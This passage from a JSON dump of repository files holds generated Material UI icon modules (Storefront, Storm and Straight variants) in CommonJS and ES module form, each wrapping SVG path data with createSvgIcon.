    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.9 7.89-1.05-3.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 7.89c-.46 1.97.85 3.11.9 3.17V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7.94c1.12-1.12 1.09-2.41.9-3.17M13 5h1.96l.54 3.52c.09.71-.39 1.48-1.28 1.48-.67 0-1.22-.59-1.22-1.31zM6.44 8.86c-.08.65-.6 1.14-1.21 1.14-.93 0-1.35-.97-1.19-1.64L5.05 5h1.97zM11 8.69c0 .72-.55 1.31-1.29 1.31-.75 0-1.3-.7-1.22-1.48L9.04 5H11zM18.77 10c-.61 0-1.14-.49-1.21-1.14L16.98 5l1.93-.01 1.05 3.37c.16.67-.25 1.64-1.19 1.64\"\n}), 'StorefrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorefrontSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.9 8.89 20.49 3H3.51L2.1 8.89c-.24 1.02-.02 2.06.62 2.88.08.11.19.19.28.29V21h18v-8.94c.09-.09.2-.18.28-.28.64-.82.87-1.87.62-2.89M7.02 5l-.58 4.86c-.08.65-.6 1.14-1.21 1.14-.49 0-.8-.29-.93-.47-.26-.33-.35-.76-.25-1.17L5.09 5zm11.89 0 1.05 4.36c.1.42.01.84-.25 1.17-.14.18-.44.47-.94.47-.61 0-1.14-.49-1.21-1.14L16.98 5zm-3.4 4.52c.05.39-.07.78-.33 1.07-.23.26-.55.41-.96.41-.67 0-1.22-.59-1.22-1.31V5h1.96zM11 9.69c0 .72-.55 1.31-1.29 1.31-.34 0-.65-.15-.89-.41-.25-.29-.37-.68-.33-1.07L9.04 5H11zM5 19v-6.03c.08.01.15.03.23.03.87 0 1.66-.36 2.24-.95.6.6 1.4.95 2.31.95.87 0 1.65-.36 2.23-.93.59.57 1.39.93 2.29.93.84 0 1.64-.35 2.24-.95.58.59 1.37.95 2.24.95.08 0 .15-.02.23-.03V19z\"\n}), 'StorefrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorefrontSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.9 8.89 20.49 3H3.51L2.1 8.89c-.24 1.02-.02 2.06.62 2.88.08.11.19.19.28.29V21h18v-8.94c.09-.09.2-.18.28-.28.64-.82.87-1.87.62-2.89M7.02 5l-.58 4.86c-.08.65-.6 1.14-1.21 1.14-.49 0-.8-.29-.93-.47-.26-.33-.35-.76-.25-1.17L5.09 5zm11.89 0 1.05 4.36c.1.42.01.84-.25 1.17-.14.18-.44.47-.94.47-.61 0-1.14-.49-1.21-1.14L16.98 5zm-3.4 4.52c.05.39-.07.78-.33 1.07-.23.26-.55.41-.96.41-.67 0-1.22-.59-1.22-1.31V5h1.96zM11 9.69c0 .72-.55 1.31-1.29 1.31-.34 0-.65-.15-.89-.41-.25-.29-.37-.68-.33-1.07L9.04 5H11zM5 19v-6.03c.08.01.15.03.23.03.87 0 1.66-.36 2.24-.95.6.6 1.4.95 2.31.95.87 0 1.65-.36 2.23-.93.59.57 1.39.93 2.29.93.84 0 1.64-.35 2.24-.95.58.59 1.37.95 2.24.95.08 0 .15-.02.23-.03V19z\"\n}), 'StorefrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorefrontTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.44 9.86 7.02 5H5.05L4.04 9.36c-.1.42-.01.84.25 1.17.14.18.44.47.94.47.61 0 1.13-.49 1.21-1.14M9.71 11c.74 0 1.29-.59 1.29-1.31V5H9.04l-.55 4.52c-.05.39.07.78.33 1.07.23.26.55.41.89.41m4.51 0c.41 0 .72-.15.96-.41.25-.29.37-.68.33-1.07L14.96 5H13v4.69c0 .72.55 1.31 1.22 1.31m4.69-6.01L16.98 5l.58 4.86c.08.65.6 1.14 1.21 1.14.49 0 .8-.29.93-.47.26-.33.35-.76.25-1.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.9 8.89-1.05-4.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 8.89c-.24 1.02-.02 2.06.62 2.88.08.11.19.19.28.29V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6.94c.09-.09.2-.18.28-.28.64-.82.87-1.87.62-2.89M13 5h1.96l.54 4.52c.05.39-.07.78-.33 1.07-.22.26-.54.41-.95.41-.67 0-1.22-.59-1.22-1.31zM8.49 9.52 9.04 5H11v4.69c0 .72-.55 1.31-1.29 1.31-.34 0-.65-.15-.89-.41-.25-.29-.37-.68-.33-1.07m-4.2 1.01c-.26-.33-.35-.76-.25-1.17L5.05 5h1.97l-.58 4.86c-.08.65-.6 1.14-1.21 1.14-.5 0-.8-.29-.94-.47M19 19H5v-6.03c.08.01.15.03.23.03.87 0 1.66-.36 2.24-.95.6.6 1.4.95 2.31.95.87 0 1.65-.36 2.23-.93.59.57 1.39.93 2.29.93.84 0 1.64-.35 2.24-.95.58.59 1.37.95 2.24.95.08 0 .15-.02.23-.03V19zm.71-8.47c-.14.18-.44.47-.94.47-.61 0-1.14-.49-1.21-1.14L16.98 5l1.93-.01 1.05 4.37c.1.42.01.85-.25 1.17\"\n}, \"1\")], 'StorefrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorefrontTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.44 9.86 7.02 5H5.05L4.04 9.36c-.1.42-.01.84.25 1.17.14.18.44.47.94.47.61 0 1.13-.49 1.21-1.14M9.71 11c.74 0 1.29-.59 1.29-1.31V5H9.04l-.55 4.52c-.05.39.07.78.33 1.07.23.26.55.41.89.41m4.51 0c.41 0 .72-.15.96-.41.25-.29.37-.68.33-1.07L14.96 5H13v4.69c0 .72.55 1.31 1.22 1.31m4.69-6.01L16.98 5l.58 4.86c.08.65.6 1.14 1.21 1.14.49 0 .8-.29.93-.47.26-.33.35-.76.25-1.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.9 8.89-1.05-4.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 8.89c-.24 1.02-.02 2.06.62 2.88.08.11.19.19.28.29V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6.94c.09-.09.2-.18.28-.28.64-.82.87-1.87.62-2.89M13 5h1.96l.54 4.52c.05.39-.07.78-.33 1.07-.22.26-.54.41-.95.41-.67 0-1.22-.59-1.22-1.31zM8.49 9.52 9.04 5H11v4.69c0 .72-.55 1.31-1.29 1.31-.34 0-.65-.15-.89-.41-.25-.29-.37-.68-.33-1.07m-4.2 1.01c-.26-.33-.35-.76-.25-1.17L5.05 5h1.97l-.58 4.86c-.08.65-.6 1.14-1.21 1.14-.5 0-.8-.29-.94-.47M19 19H5v-6.03c.08.01.15.03.23.03.87 0 1.66-.36 2.24-.95.6.6 1.4.95 2.31.95.87 0 1.65-.36 2.23-.93.59.57 1.39.93 2.29.93.84 0 1.64-.35 2.24-.95.58.59 1.37.95 2.24.95.08 0 .15-.02.23-.03V19zm.71-8.47c-.14.18-.44.47-.94.47-.61 0-1.14-.49-1.21-1.14L16.98 5l1.93-.01 1.05 4.37c.1.42.01.85-.25 1.17\"\n}, \"1\")], 'StorefrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Storm.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.13-2.2.22-4.4 1.02-6.44H3.74C2.2 6.49 2.52 11.58 5.07 16c1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.13 2.2-.21 4.4-1.01 6.44h2.11c1.53-4.49 1.22-9.58-1.33-14M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Storm');"
  },
  {
    "path": "packages/mui-icons-material/lib/Storm.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.13-2.2.22-4.4 1.02-6.44H3.74C2.2 6.49 2.52 11.58 5.07 16c1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.13 2.2-.21 4.4-1.01 6.44h2.11c1.53-4.49 1.22-9.58-1.33-14M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Storm');"
  },
  {
    "path": "packages/mui-icons-material/lib/StormOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.13-2.2.22-4.4 1.02-6.44H3.74C2.2 6.49 2.52 11.58 5.07 16c1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.13 2.2-.21 4.4-1.01 6.44h2.11c1.53-4.49 1.22-9.58-1.33-14M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'StormOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StormOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.13-2.2.22-4.4 1.02-6.44H3.74C2.2 6.49 2.52 11.58 5.07 16c1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.13 2.2-.21 4.4-1.01 6.44h2.11c1.53-4.49 1.22-9.58-1.33-14M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'StormOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StormRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.1-1.75.1-3.5.59-5.17C5.61 2.63 5.14 2 4.48 2h-.01c-.43 0-.83.28-.95.7-1.28 4.31-.87 9.11 1.55 13.3 1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.1 1.75-.09 3.5-.58 5.18-.18.63.29 1.26.95 1.26.44 0 .83-.28.95-.7 1.27-4.31.87-9.11-1.55-13.3M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'StormRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StormRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.1-1.75.1-3.5.59-5.17C5.61 2.63 5.14 2 4.48 2h-.01c-.43 0-.83.28-.95.7-1.28 4.31-.87 9.11 1.55 13.3 1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.1 1.75-.09 3.5-.58 5.18-.18.63.29 1.26.95 1.26.44 0 .83-.28.95-.7 1.27-4.31.87-9.11-1.55-13.3M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'StormRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StormSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.13-2.2.22-4.4 1.02-6.44H3.74C2.2 6.49 2.52 11.58 5.07 16c1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.13 2.2-.21 4.4-1.01 6.44h2.11c1.53-4.49 1.22-9.58-1.33-14M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'StormSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StormSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.13-2.2.22-4.4 1.02-6.44H3.74C2.2 6.49 2.52 11.58 5.07 16c1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.13 2.2-.21 4.4-1.01 6.44h2.11c1.53-4.49 1.22-9.58-1.33-14M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'StormSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StormTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.2 9C15.54 6.13 11.86 5.15 9 6.8c-2.67 1.54-3.7 4.84-2.5 7.6q.135.3.3.6c1.66 2.87 5.33 3.85 8.2 2.2 2.67-1.54 3.7-4.84 2.5-7.6q-.135-.3-.3-.6M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.13-2.2.22-4.4 1.02-6.44H3.74C2.2 6.49 2.52 11.58 5.07 16c1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.13 2.2-.21 4.4-1.01 6.44h2.11c1.53-4.49 1.22-9.58-1.33-14M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6\"\n}, \"3\")], 'StormTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StormTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.2 9C15.54 6.13 11.86 5.15 9 6.8c-2.67 1.54-3.7 4.84-2.5 7.6q.135.3.3.6c1.66 2.87 5.33 3.85 8.2 2.2 2.67-1.54 3.7-4.84 2.5-7.6q-.135-.3-.3-.6M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.93 8C16.72 4.18 11.82 2.87 8 5.07c-1.41.82-2.48 2-3.16 3.37-.13-2.2.22-4.4 1.02-6.44H3.74C2.2 6.49 2.52 11.58 5.07 16c1.1 1.91 2.88 3.19 4.86 3.72s4.16.31 6.07-.79c1.41-.82 2.48-2 3.16-3.37.13 2.2-.21 4.4-1.01 6.44h2.11c1.53-4.49 1.22-9.58-1.33-14M15 17.2c-2.87 1.65-6.54.67-8.2-2.2q-.165-.3-.3-.6C5.3 11.64 6.33 8.34 9 6.8c2.86-1.65 6.54-.67 8.2 2.2q.165.3.3.6c1.2 2.76.17 6.06-2.5 7.6\"\n}, \"3\")], 'StormTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Straight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6.83 9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V21h-2z\"\n}), 'Straight');"
  },
  {
    "path": "packages/mui-icons-material/lib/Straight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6.83 9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V21h-2z\"\n}), 'Straight');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6.83 9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V21h-2z\"\n}), 'StraightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6.83 9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V21h-2z\"\n}), 'StraightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 6.83.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 3.71a.996.996 0 0 0-1.41 0L8.71 6.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.88-.87V20c0 .55.45 1 1 1s1-.45 1-1z\"\n}), 'StraightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 6.83.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 3.71a.996.996 0 0 0-1.41 0L8.71 6.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.88-.87V20c0 .55.45 1 1 1s1-.45 1-1z\"\n}), 'StraightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6.83 9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V21h-2z\"\n}), 'StraightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6.83 9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V21h-2z\"\n}), 'StraightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6.83 9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V21h-2z\"\n}), 'StraightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6.83 9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V21h-2z\"\n}), 'StraightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Straighten.js",
